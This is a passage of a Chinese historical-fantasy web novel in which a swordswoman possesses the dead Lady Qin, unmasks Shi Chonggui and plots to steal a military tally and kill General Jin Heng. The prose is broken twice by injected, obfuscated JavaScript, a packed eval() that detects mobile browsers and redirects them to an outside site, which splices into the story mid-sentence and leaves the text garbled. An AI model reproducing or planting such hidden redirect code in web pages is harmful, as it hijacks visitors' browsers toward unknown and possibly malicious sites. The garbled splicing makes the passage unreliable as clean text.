可始终运不起轻功,她微微低眸,看到浑身上下的衣服皆为锦绣,与她平日爱穿的素装并不相同。 在她犹豫之际,身后突然传来一声问候:“诶啊我的妈啊,夫人你怎么在这里?家主找了你好久!” “嗯?”身处局中,恰如夜雾行船,令人看不清方向,也没人能为她指点迷津。 明明本该去追秦氏而后夺回虎符,怎么突然来到了这里,而且还附身在“宅邸夫人”身上了。 “夫人,切莫犹豫,晋家主有事要找你商量!”女使道。 她微蹙起眉头,指着自己,有些难以置信地道:“夫人?我?晋......家主?” 女使却显得更为从容,仿佛并没有被她奇怪的疑问而乱了阵脚,她被女使牵着,一步一步走回宅邸内,走回一扇又一扇门,进入一个又一个囚笼。 “夫人啊,你真是记性愈来愈不好了,竟连自己都忘了。”女使丝毫不慌,亦步亦趋地走着,还漫不经心地解释道,“晋家主就是幽州镇北营统领晋衡大人,是夫人的夫君。” 原来,她附身在秦氏身上。 此时此刻,她终于明白过来,这个幻术就是针对她设的。是有人刻意引她入局,拨开前朝的种种雾霭。所以,为何那人如此狠心要洛九去死,因为洛九本不在他的布局范围之内,算是真正意义上的不速之客,洛九的突然闯入,定然会乱了计划,不如让他即刻去死,也不耽误进程。 那这人究竟是谁? 又怎能弄来秦氏的魂魄? 又怎能忽悠已死的秦氏将宋“改天换地”成晋? 而这个入局人,为何会是她?为何一定是她? 于是,她将计就计,应了女使的话:“瞧我这个记性,诶,真当是岁数大了,事情也忘得多了。” 女使道:“无妨,夫人只需多喝药便能医治健忘之症。” 喝药能医治健忘之症?她暗自讥讽一番,若是这世间什么病痛都能靠喝药来解决,那生死之事情,便不会置之度外了。 这秦氏记忆力愈发不好,是否与宅邸的使从老骗她喝药有关? 是不是布局人抓住了秦氏极度信任别人这点,而忽悠秦氏从幽州来到开封,只为将她引入局中? 从之前与秦氏的对白就能看出来,秦氏都能跟她,一个不过匆匆一面之缘,连露水情缘都算不少情深缘浅的人,都能推心置腹,实在是太过无暇。因此,她一定要在宅邸中表现出秦氏一尘不染的天性来,省得让人怀疑。 她被女使领着,进了主厅,晋衡正坐在梨花木雕琢椅上候着。 听到厅外传来的响动,晋衡微微抬眼,看到女使领着秦氏走来,他张口,声音有些嘶哑,混杂在幽州的风中,听不真切:“夫人可是对晋家有何不满,竟与开封府尹石重贵暗通款曲!” 15. 秦氏女,浩然心(四) 第十五章·秦氏女,浩然心(四) 顷刻之间,滚烫的茶水幻化为无数细小的水珠,喷溅在她的脸上。水珠映照着晋衡那张变化莫测的脸,她在这张脸中,读出了愤怒,悲伤,还有一丝得意来。 晋衡捏碎茶盏,起身站在她的身前,从袖间掏出一张帕子,那上面用毛笔写着琅琊小字。她依稀可见上面写着,正是开封府尹石重贵的名字。 想到秦氏曾在旧宅里告诉过她,关于旧京尹的名字。她猜,这个人一定对秦氏来说极其重要,于是,她想都不想,率先起身,想从晋衡手中夺过帕子,可晋衡身为幽州镇远营大将军,论武功,她不过一位初出江湖的侠客,再加之这具身体还不是她自己的,束缚之下,她压根使不上力,被晋衡狠狠扭过手腕,整个人就折在地上。 “当初是我看你可怜,才娶你过门,许是我当时瞎了眼,惹得现在脏了这颗心!”晋衡抬脚踩住她的手腕,腕上戴着的翠玉镯子被他踩碎,碎片划过她的腕间,留下一抹血红。 她正好奇这帕子上究竟写了什么见不得光的事情,可这具身体却自顾自开了口:“脏了这颗心?” 她坏笑一下:“若夫君这颗心还能为晋效力,这颗心便不是脏!” 随之,晋衡抬眸,面若冰霜:“呵,为晋效力?说得倒是容易,可朝廷却如何对待镇远营的?他们杀我的兵,他们抢我的马——” “所以,你就转身为辽人打开城门?让镇远营允许辽人驻扎?”她捂住红肿的手腕,狠戾地看着晋衡。 晋衡与她想象中的样子天差地别,他并不是算三春说的富商,亦不是什么年轻有为的少年郎,他不过是一位老来病骨的将军,或者说他甚至会为了利益而不择手段。 她看着他,就像看着一位疯子。 而晋衡亦然。 “辽人进幽州后,在我的令下,未杀未抢。幽州虽驻守辽军,可境内安定,这件事,我认为我并没有做错什么。”晋衡顿了顿,慢慢将帕子放烛蕊上,任凭火苗一点一点将帕子吞噬,“若是我真的做错什么,那是后人之言。于我而言,我这般做法,保住了幽州百姓,保住了晋家薪火——” “好笑,你连国都背叛,我怎能信任你不背叛家呢?”她抬高音量,“乱世之下,谈何贞洁?我现在就要和离!你休想拦我!你这个丧心病狂的辽人走狗!” 只一句话,轻落落的,宛若一张纸,却好似戳穿了晋衡挺拔许久的脊梁骨。他的眸中闪过一丝慌乱,眼看着地上趴着的秦氏欲要抬手推开晋衡的官靴,眼疾手快地反手制住。 他将她压在墙上,面目逼近,语气低沉地道:“和离?好啊......我看你走出晋家能活多久!” 这无疑是将秦氏的尊严按在地上摩擦,这句话也跟她不小的震撼。幼时,不羡仙还在,村里确实发生过夫妻和离的境况,她问寒姨,为什么说是和离,却要吵这么凶呢?寒姨没说话,只是拍拍她的头,轻言细语告诉她,以后,她就会知道。 究其根源,不过是吵日后的生存。 话语罢了,晋衡连祖宗八代流传下来礼数都不惯了,差人将秦氏的东西打包,连带着秦氏一一扔出了宅邸。 她看着那扇大门缓缓合上,内心生出一团无名火。 秦氏所身处的年代,远比她所在的年代还要战火纷乱,而今她占据着秦氏这具身体,肩膀上担负起两条命,一个是她自己,一个是秦氏,她要带着秦氏努力活下去,在樊笼之外,在世道之中。 背起那包裹,忽而见袖中掉下来的一张帕子。上面的字迹与晋衡方才烧掉的极其相似。 看来这秦氏还挺聪明的,料到晋衡会将其毁尸灭迹,还自己留了一份,当以备用。 帕子上绘着幽州的城防图以及镇远营的布局图。 “请你帮我......帮我调集幽州的兵马,帮石大人抵抗辽人的铁骑!” 记起来了,这是秦氏曾嘱咐给她的事情。现在,她被晋衡扫地出门,逃离那一座座密不透风的院落,可是一次调集兵马的好机会。调集兵马虽算不上容易事,可只要拿到虎符,就能极快调集幽州兵马。 至于石重贵......她思索片刻,最终将思绪落脚在晋衡麾下的镇远营。 若能借助镇远营的风信,尽早联络京尹石重贵,就能获得朝廷支撑和援助,到时候将城里的辽军一网打尽,或许就能替秦氏消去执念,让秦氏这个孤魂野鬼,死得其所。 虎符正在晋衡手中,若想偷出来,实在是件难事。 方才她亲眼所见,这秦氏的身体,颇为羸弱,要是换作她自己的身躯,想必还能与晋衡敌手一二,可秦氏......她望向一旁的杂物包裹。 “秦氏,只能委屈一下你了。”她说着,一手摘下头上的金银步摇,凤鸾羽冠,以及将外衣脱下,只着一件素衣常服,另一手弄乱养护极好的发丝,任凭它随意垂于身后,似乎还不满意,她又在土路上故意摔了好几跤,终于,全身上下尽数肮脏,她这才志得意满地双手抱臂,冷哼一声,道:“这才对嘛!” 纵然辽人不在幽州城内喊打喊杀,但幽州城内的百姓可是过着如火如荼的艰苦生活,这么坏的世道,能苟且偷安,也是一种本事了。 她率先拉住一个商贩,问:“我初到幽州,不知此处有典当,我想还点钱以谋生计。” 那商贩见她这般狼狈,连忙热心地为她指路,甚至还嘱咐一句:“这幽州的典当铺,可不是什么都能换的,太肤浅的东西换不了,若真想换得什么,还是以贵重之物为主。” 贵重之物......她胸有成竹,这包裹里装着的可都是贵重之物。 同商贩道了谢,她起身上了路。 典当铺位于幽州府往东二十里处,可谓与幽州府门户相贴。如今,繁华凋敝,典当铺门口除了拿牲畜抵押,以换些钱的百姓,也见不到开封那些达官显贵。 不知为何,她想到了赵光义。 起初,她对赵光义只有厌恶,只觉贵客从不屑布衣黔首,可自从旷虚幽间,她以不速之客般,意外闯进他的心魔,看到他儿时经历的一切。 无论杀人放火,还是恩将仇报,不过是人真的活不下去所做出的极端举动。 她明白人心皆有苦衷,再看到他的那张脸,她又不怎么厌恶他了,甚至对赵光义油然而生的是一种怜悯和爱护之情。 所以,她才愿意做他手边的一把最锋利的刀。 “客官,到你了!”典当人道。 她回过神,应了一声,将背后的包裹扔到台面上。 典当人解开包裹,大抵看到里面装着是何方神圣,难以置信地看了看她,又低头翻箱倒柜里面的东西,接着递给她一张票子。 轻声地道:“贵客里面请!” 她持着票子进了里面,每一步走得愈发坦荡。 对外,这个地儿自称是典当铺,因为百姓只抵押简单的物什,并非如此金贵难求,所以拿不到这票子,也进不来。对内,这个地儿便不是典当铺,反倒更像一处据点,她不知道典当人翻到包裹里的什么了,竟将这票子给她。 典当人将她送到一个做账的掌柜身边,点头哈腰,殷勤地介绍道:“锦鲤,你要找的人,小的给你送来了。” 名叫锦鲤的人回头,她身着夜行衣,戴蒙面,只露出一双锋利的眉眼。 “退下吧。”锦鲤见典当人抽身回去,便朝她勾勾手,问道,“你是......秦氏?” “正是。”她郑重其事地对锦鲤点点头。 锦鲤意味深长地看着她,随后叹了一口气,替她拎起手中的包裹,掀开里间的门帘,侧身让她进去。 待她坐定之后,锦鲤缓缓逼近她,不容置喙地道:“秦氏信任我吗?” 她微微眯起双眼,打量着锦鲤,这人好像跟秦氏很熟络的样子,只是她怎么没在秦氏的话语中听到有关于“锦鲤”的字眼? 有没有一种可能——她想到自从她被晋衡赶出家门,她的行动便不再受秦氏原先的行径所控制,所以,在被赶出家门时,秦氏选择了和她不同的做法。 在秦氏原本的做法中,她既没见到开封府尹石重贵,她也没能调集幽州兵马。至于秦氏有没有拿到虎符,她也不太能保证。 因为,现在是她所走的钢索。 在摇摆不定时,保持缄默才是最好的回答。 “信任?”她反问道,“锦鲤似乎认识我,但我记忆之殇愈发严重,若真有典当铺需要我的时候,还请锦鲤拿出一些筹码来。” 反客为主,少侠,后生可畏啊! 她不由得自我夸赞道。 锦鲤轻咳一声,没有丝毫犹豫,便道:“你可知晋衡为何娶你为妻吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顿感不对,她连忙抽回手,像握紧腰间的金错刀,却摸了个空,这具身体压根就不是她的。秦氏没有武功,亦无佩刀,她现在分身乏术,只能任凭锦鲤后话,顺其自然罢了。 “看着我。”锦鲤道。 她向她看去。 只见,锦鲤抬起手,抚上自己的脸,洒落一星河。银汉迢迢,暗渡过锦鲤那张女相,只在眨眼间,幻化成一张俊骨男相。 “人心粗看啊,聚散如浮萍,死生犹幻沫。万事一置之,四皓不渠劣。”锦鲤的目光变得阴鸷起来。 她攥紧掌心,顿觉手中冒着冷汗,黏腻至极。她表面维持着镇定,实则内心慌乱如麻。从方才锦鲤出口的这些字句,她便能意识到,锦鲤这人已经猜到面前的秦氏,已不是原本的秦氏,而是被她附身后的秦氏。 强压下内心的惊涛骇浪,脑海中飞速运转着应对之策。 “锦鲤这话倒是深奥,只是在下才疏学浅,竟不知其中关联。”她故作镇定地开口,试图将话题从自己身上引开。 锦鲤目光如炬,紧紧盯着她,仿佛要将她看穿一般,缓缓说道:“父亲曾跟我说,人心不古,坦诚自在,否则螳臂当车之患,又是杯水车薪。” 他希望她能对自己坦诚相待。 “你真信任我?”她又一次反问。 “自然。”锦鲤笑之。 “筹码。”她在开封,同赵光义的相处中,深谙吃一堑长一智,现今已炉火纯青。 锦鲤深吸一口气,板着一张脸,义正词严地道:“你不是秦氏,我亦算不上‘锦鲤’。我猜,你费尽心思,附身秦氏,所要找的人就是我。” 她一挑眉:“你为何如此肯定?万一你要找的人,和我要找的人,不是同一个人——” “我敢肯定,是同一个人。”他抢过话锋。 锦鲤撩起眼皮,目光沉稳如山,像是泼了一层墨般深邃,让人一眼看去,如坠深渊。 “旷虚幽间,拦着你的人就是我。”锦鲤从衣襟间拿出开封府的令牌。 她心中一凛,凑上前拿过令牌,上面刻着的名字,却让她倒吸一口冷气。 开封府尹石重贵。 “我猜得没错?”石重贵道,“少侠也真是一把演戏的好手,若不是少侠这不羁的姿势,恐怕我也认不出来少侠你呢!” 16. 秦氏女,浩然心(五) 第十六章·秦氏女,浩然心(五) 灯烛燃尽,石重贵从一旁的抽屉里又拿出来一根,捧起一簇火,将其点燃。 “乱世当关,豺狼虎豹横行;秉烛夜游,英雄肝胆方显。”石重贵拿起灯烛,火光照耀着他的脸,半明半暗,“不知少侠此次前来,找我干什么?” 她护起那微弱的烛火,半个眼瞳都盛满烛光,炽热在她眼中跳跃。 “不是我来找你,是秦氏来找你。”她道,“她想借石大人之手调集幽州兵马。” “啧,”石重贵干笑一声,“只是我只管中原之事,这幽州......想必是晋大将军统管之地,让我来插手,怕是不合适吧?” 她眯起眼睛,上下打量着他。也不知道他是在演,还是在赌她真的不知道他的真实身份。她觉得此时此刻,并非互相揣测之时,于是凑上前,道:“是吗?堂堂一国之主,隐姓埋名前来幽州,目的不言而喻吧?” 被一句话戳穿心口,石重贵咳嗽一声,视线有些游移。 烛火仍在四处乱窜,似乎要将这典当铺暗室点燃,屋外的典当人来去穿梭,脚步声影影绰绰。 他真的没想到,她竟然会直截了当揭穿他的身份,不仅如此,甚至连点后路都没给他留。这样,却显得石重贵陷入被动的境地了,满心满腹的说辞,却被一句话击败。 折戟沉沙,烟消云散。 “少侠真是冰雪聪明,猜到了一半。”他解释道,“这典当铺在自父皇在燕云十六州拱手让给辽人后,我便在幽州设下。表面上是让那些流离失所的联名以东西做抵押以维持生计,实际上这里面的所有典当人,都是我安插在幽州的眼线。” “我不过是外人,何德何能能进来。”她喟叹道,抬手拨弄着那灯烛架子。 架子先往东转,再往北转,后知后觉转了个圈,再度回到原点。她静静地看着摇曳的火苗,而石重贵久久没有开口,派人送进来一壶热茶。 “我得先向少侠承认,我并非有意引少侠过来。只是在旷虚幽间,我亲眼见证了少侠高超的武力,觉得少侠应当能加以一用。”石重贵正想继续说下去,却被她抬手叫停。 她义正词严地道:“我不帮死人做事。” 石重贵坏笑着:“少侠现在可是披着死人的皮呢!” 惹得她一时语塞,只能垂眸,望着桌面上斑驳的木纹,食指有规律敲打着桌面。 她觉得口干舌燥,于是站起身,为自己倒了一杯茶,一饮而尽,顿觉心中舒爽起来。她抬眸望着烛火旁的石重贵,伸手就想讨要个报酬,可一想到石重贵和秦氏不过是个死人,只是她还不知道为何石重贵一定要引她进幻术。 “我生前御驾亲征,只为收复燕云十六州,却遭小人背叛,被迫投降。”石重贵吹开茶沫,淡淡地道,“生前那次我在明处,结果却徒劳无功。这一次,我在暗处,想借镇远营的兵力,先驱散幽州的兵马。” 说罢,石重贵的表情变得狠厉起来,他的眉头上扬,脸上挂着邪魅的笑,似乎说不尽他那野火烧不尽的野心。 看到石重贵这般模样,她转瞬想起,在开封府的密室里,赵光义也曾凝望着墙壁上挂着的巨大舆图,而露出如此相似的表情。 赵光义和石重贵的理想如此相似,既然石重贵曾化身于玄元教徒,在旷虚幽间拦着她救身陷困境的赵光义......她灵光一闪,似乎想通了什么——之所以石重贵拦着她,不让她救,是他看到了赵光义的勃勃野心,和那熊熊燃烧的鸿鹄之志,他觉得他可以利用赵光义的这两点,而激化赵光义的心中魔障。 却不想她自己的贸然闯入,竟坏了石重贵的好事。 “诶,少侠,我旷虚幽间引你进来,却被你反将一军。”石重贵叹了口气,“不过,还好我留了一手——本来这个幻术也是为了将赵光义引过来,但因你的出现,最后只能将你引进来。” 一语惊醒梦中人。 无论是洛九所说的盗墓贼,还是城东处的棺材......她猛然拍案而起,不管三七二十一,就扔出手中的茶盏,如方才晋衡那般,热茶尽数泼在石重贵的脸上。 “石大人引我入局可以,哪怕引赵光义入局也没问题。” 毕竟以赵光义的脑子和手段,或许未尝不能成为石重贵的接手,只可惜他身份太高,冒不起这险。即便赵光义真的误入迷局,怕是承受不起晋衡的力量。 她有些替秦氏愤愤不平:“你控制盗墓贼挖秦氏的墓就算了,还反手杀掉他们,不仅如此,你让秦氏得以安息的三魂七魄又不得安宁,石重贵,秦氏怎么死的,我不知道,但我能肯定是,她这一生过得那么悲惨,怎么连她的墓都要被掘?你的良心去哪儿了?” 石重贵握紧拳头,端坐在她的对面,语气却分外镇静:“父债子还......少侠说说,我只不过是想收复燕云十六州而已,只不过是我生前没有收复而已,为什么后世要让我背负父亲的千古骂名?!” 他喘着一口气,愤懑至极,眼眶翻红,内里翻江倒海,似乎要将整个典当铺掀翻:“少侠,如果是你,你也会这么做。” 他朗声笑着,笑得凄惨又悲凉,像是啼血的杜鹃,他目光如一潭死水,照在那刷白的面色上。 “往日不必追,今日你我二人,是站在同一条战线上。”她也平静好气息,再度稳坐在石重贵的对面,“石大人布局这么多,不就是为了让我信任你,从而偷了虎符,控制镇远营,再将晋衡杀死嘛?!” 石重贵喝着茶的动作一顿,怔愣地看着她。 她一嗔,忙问道:“是也不是?” “......我若说‘是’,少侠可信我?”他反问道。 “信。”她道,“因为秦氏——” “你又猜对了,本来要跟秦氏接头,奈何秦氏根本就没找到我。”石重贵忆起往事,不由得怆然泪下,“我想,若是那时秦氏找到我,或许一切是不是不一样呢?” 可现在想起来又有什么用呢? 这只是在幻术中。 现实中的幽州已经被辽人的铁骑踏破了。 * 在一炷香的时间,石重贵召集了典当铺暗室的众人,将窃符救幽之事全盘托出。周围的那些典当人自然都是石重贵信任的人,纷纷制定了不少窃符之计,石重贵拿捏不准,便交给她来决定。 可她也不敢贸然断定。 不为什么,她不过江湖少侠,难能替一国之君决断。 石重贵既然这么问了,此时事关重大,时间紧任务重,她也不好耽误。 沉思片刻,目光扫过在场众人,那些面孔在摇曳烛光下显得既坚定又带着几分惶恐。 “石大人,窃符之事非同小可,一旦败露,便是万劫不复。”她缓缓开口,声音虽轻却透着不容置疑的力量,“我认为,我们应分两步走。其一,派人暗中监视晋衡的动向,哪怕牺牲这些人马,也必须把晋衡引开。其二,选身手敏捷之人,趁夜潜入宅中,尽快找到虎符并杀死晋衡,切记不可打草惊蛇。” 石重贵听后,眼中闪过一丝赞许,他微微点头,似乎对她的计策颇为满意。 “秦氏所言极是,就按你说的办。”他转头看向众人,“你们谁愿意担此重任?” 话音刚落,却无人敢迈步上前,毛遂自荐,自告奋勇。大多数人都畏畏缩缩地站在昏暗的角落里,目光来回周转,是在踌躇。 见此情景,石重贵有些失望,只好由他亲手从中挑选了一人。 “燕羽,你和少侠,即刻准备,一切按少侠的计划行事。” 随后,她又与石重贵及众人详细讨论了行动的每一个细节,包括如何避开宅邸的看守,如何快速找到虎符的位置,以及如何安全撤离,又或者哪怕无法安全撤离,又该如何保住中干等。 夜色正浓,典当铺暗室内的气氛也愈发紧张起来。这一夜,将决定幽州的命运,也将决定他们所有典当人的生死存亡。 而她,这位江湖少侠,正站在风口浪尖上。 燕羽有些紧张,她走上前,问道:“秦氏,我真的可以吗?” “你不用顾虑,到时候只需找到虎符,然后尽快交到锦鲤手中就好。”她望着远处华灯初上的晋氏宅邸,不知这身骨,能否支撑住她的武功。 “好,那秦氏不怕——” “我的夫君早已背叛我,留在他身边也是死路一条,倒不如为锦鲤报仇雪恨。”她拿捏着语气,神态自若地道。 * 月上柳梢头,燕羽和她站在不远处的钟楼上。 只见脚边的屋瓦掉落,一支箭钉在她的脚边。 锦鲤的哨人发了个信号,这就说明,晋宅附近的接应的典当人已经准备好了。 “秦氏......” “走。” 说罢,她运用轻功,身形轻盈地踩着沿街的屋檐跳在晋宅的屋顶上。燕羽则循一条小道,直达晋氏后山,连接镇远营的院落。 她屏息凝神,这秦氏的身体实在是太弱,才走了几步路就喘得不行,让她有些担忧。单膝跪在屋顶,举目下望,瞧见晋宅两侧的守门侍卫。 她先用腰间挂着飞镖往一侧一甩,有一侍卫听到动静,跑到飞镖面前。 正是现在! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495626|185929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻转手腕,内力注入,她一挥匕首,锋利的刃只一下便砍断了那人的气脉。 她搬起尸体,往宅邸几里处的暗巷挪,并趁机换上侍卫的衣服。 但这还是不够。 想到白日石重贵在她面前表演的幻术,她不由得想尝试一下。她用匕首在侍卫的脸上划了个口子,鲜血潺潺流出,用指尖沾了血水,滴在她的舌尖上。抬手之时,这张脸已换了面。 她装作若无其事地回到晋宅门前,手中还攥着飞镖。 另一边的侍卫问道:“可是有发现什么?” 看样子这侍卫并未发现破绽,她缓缓开口,故作镇定,举起手中的飞镖:“一把飞镖......怀疑有人要夜袭晋大人,你且在这里看着,我进里面跟晋大人说一声。” 那侍卫点点头,微微侧了身,让她进去。 还好秦氏的记忆在这时起了作用,她按照脑海里秦氏对于宅邸的记忆,一步一步穿过抄手游廊,路过几间厢房,来到位于宅邸之中矗立着的高大建筑。 这一路来有不少探灯的女使,看到把守的侍卫攥着一把飞镖进来,有些好奇地朝她打听,但都被他含糊其词,堵住了嘴。 有些女使还暗嚼口舌:“该不会白日家主将夫人赶出去,惹得夫人起了杀心,特地派人来报复吧?” 又有女使道:“怎么可能呢,夫人身骨多病,记忆力也不好,恐怕连回宅的路都记不住。” 另一位女使感叹道:“话说,晚饭之时,家主可是等了夫人许久,但夫人最终还是没回宅里。” 前头的女使道:“你管什么呢,夫人怎么进的晋家你又不是不知道。” 她听着女使们的窃窃私语,心中五味杂陈,却也顾不得许多,只一心想着尽快找到晋衡,然后杀掉他,拿到虎符去后山找燕羽接头。 脚步一顿,来到晋衡所住宅院前。 这里守卫森严,她心神不安,害怕露出马脚。可她还是缓步走上前,对上了侍卫的眼。 “你不好好守前院跑后院来干什么?”打头的侍卫道。 “我在宅子外发现一把飞镖,怀疑有人要对晋大人意图不轨。”她举起飞镖,亮在看守的侍卫眼前。 “给我看看。”侍卫道。 她把飞镖叫过去。 侍卫翻看飞镖,而后退回来:“辽人的飞镖而已,不用大惊小怪。” “虽然家主大开城门,让辽人驻扎于此,但防不胜防,怕辽人贼心不死,有谋害家主之意。”她连忙俯首,思路分明,一板一眼地解释道。 侍卫应了一声,赞同她的话语,这让她一直紧张的心稍微平静些许。正当她以为得到允许,想抬脚跨入门槛,却被侍卫再度拦了下来。 “慢着,飞镖交给我,由我来告知家主就好。”侍卫轻咳一声,“你回前院继续守着吧!” 说罢,侍卫一把抢过飞镖,冷哼一声,转身走入曲径通幽处。 乖顺地转过身,明面上是原路返回,实际却背道而驰。她再度来到暗处,方才在这块叽叽喳喳的女使已然离去,悄悄地拂去了面,是一张秦氏的脸。 剩余的侍卫看到消失许久的家主夫人不知为何夜半出现,出于疑心,拦了下来:“夫人,家主已经休息,还望不要打扰。” 她见风使舵,摆出一副娇媚柔弱的样子,道:“我是不想打扰夫君,只是我在外受了伤,宅医也合灯,我见夫君房里亮着灯,打算从夫君这儿取点金疮药。” 侍卫眉头紧皱。 要说怪异,他们心里也感到怪异,这一个晚上,守前院的侍卫来到家主门前,手里拿着把飞镖,不多时,这秦氏也回到故地,说是受了伤。 “好侍卫,怎么连晋家夫人都拦着?!”她双手叉腰,怕侍卫不相信,亮出了胳膊上的伤口。 “这......” “方才赶回来时,瞥见一黑影,手里拿了个飞镖,被我瞧见了,那黑影拿了个飞镖,伤着我了!”她当机立断想到了方才打头侍卫拿着的飞镖。 原来是这回事。 侍卫如梦初醒,忙将秦氏引了进去。 她计谋得逞,坏笑一声,循着打头侍卫的足迹,进了曲径通幽处,穿过行径,亮着灯的庭院便是晋衡的书房。 书房亮着灯,想必晋衡还没睡。而那侍卫正立在门前,她加快脚步,赶在侍卫开口之前,举起藏于袖间的匕首,在他脸上划了个口子,千钧一发之时,她飞速用食指点在他的脉上,捂住他的嘴。 侍卫晕了过去。 再度抬手,再度换面。 她手上捧着飞镖,毕恭毕敬地道:“家主,出事了。”